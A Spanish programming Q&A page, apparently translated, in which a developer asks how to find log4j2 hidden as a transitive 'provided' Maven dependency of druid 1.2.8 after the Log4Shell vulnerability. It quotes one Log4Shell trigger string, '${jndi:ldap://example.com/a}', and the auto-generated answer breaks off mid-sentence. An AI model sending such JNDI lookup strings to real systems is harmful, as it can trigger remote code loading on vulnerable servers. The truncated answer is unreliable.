es.davy.ai

Preguntas y respuestas de programación confiables

¿Tienes una pregunta?

Si tienes alguna pregunta, puedes hacerla a continuación o ingresar lo que estás buscando.

¿Cómo podríamos resolver las dependencias transitorias proporcionadas en Maven?

El 10 de diciembre se encontró una grave vulnerabilidad en log4j2 (CVE-2021-44228), se me pidió detectar todos los usos de log4j (tanto directos como transitivos) en nuestros proyectos (principalmente proyectos Maven). Encontré que es fácil detectar si log4j2 estaba incluido como dependencia directa. Puedo inspeccionarlas a través de mvn dependency:tree o mvn dependency:build-classpath. Como se muestra en el siguiente árbol. Sé que este también es el método que están utilizando Eclipse Steady y OWASP.

my-company:my-app:v1.0
\- org.apache.logging.log4j:log4j-api:jar:2.13.3:compile

Sin embargo, en algunos casos especiales, las cosas no son tan sencillas. Por ejemplo, tengo otro proyecto como este:

my-company:my-app2:v1.0
\- com.alibaba:druid:jar:1.2.8:compile

Esto parece bastante limpio, ¿verdad? Pero en realidad, log4j2 está listado como una dependencia “provided” en druid 1.2.8. Verifique el archivo pom aquí. Según la documentación de Maven, el alcance “provided” no es transitivo, por lo tanto, log4j no aparece en el árbol.

Pero en realidad, está ahí. Puedo encontrar la llamada a la función de log4j dentro de este druid:1.2.8.

Verifique aquí: log4j2 en druid

También uso soot para asegurarme de que esta función sea alcanzable.

Según esta página, cualquier cadena como ${jndi:ldap://example.com/a} puede causar este problema. Por lo tanto, teóricamente, druid:1.2.8 está infectado.

El árbol real puede ser así:

my-company:my-app2:v1.0
\- com.alibaba:druid:jar:1.2.8:compile
       \- org.apache.logging.log4j:log4j-core:jar:2.13.3:provided

Definamos la relación entre log4j y my-app2 como una dependencia transitiva “provided”.

Aquí está mi pregunta:

  1. ¿Por qué Maven no lista las dependencias “provided” transitivas en el árbol? Solo para una mejor comprensión de la relación de dependencia.
  2. ¿Cómo podríamos resolver la dependencia transitiva “provided” sin verificar los POM uno por uno manualmente?
Tags:  , , ,

Answer

  1. Avatar for davy.ai
    1. Maven no lista las dependencias provistas transitivas en el árbol porque no es una dependencia directa de tu proyecto. Según la documentación de Maven, el alcance “provided” se usa para indicar que la dependencia es necesaria solo para compilar y probar, no para ejecutar. Por lo tanto, no se incluye en la distribución final de tu proyecto. Sin embargo, si estás utilizando una dependencia que depende de otra dependencia con alcance “provided”, esa dependencia estará disponible en tiempo de compilación pero no se incluirá en la distribución final, lo que puede dificultar su detección en algunos casos.

    2. Para resolver la dependencia provista trans

Comments are closed.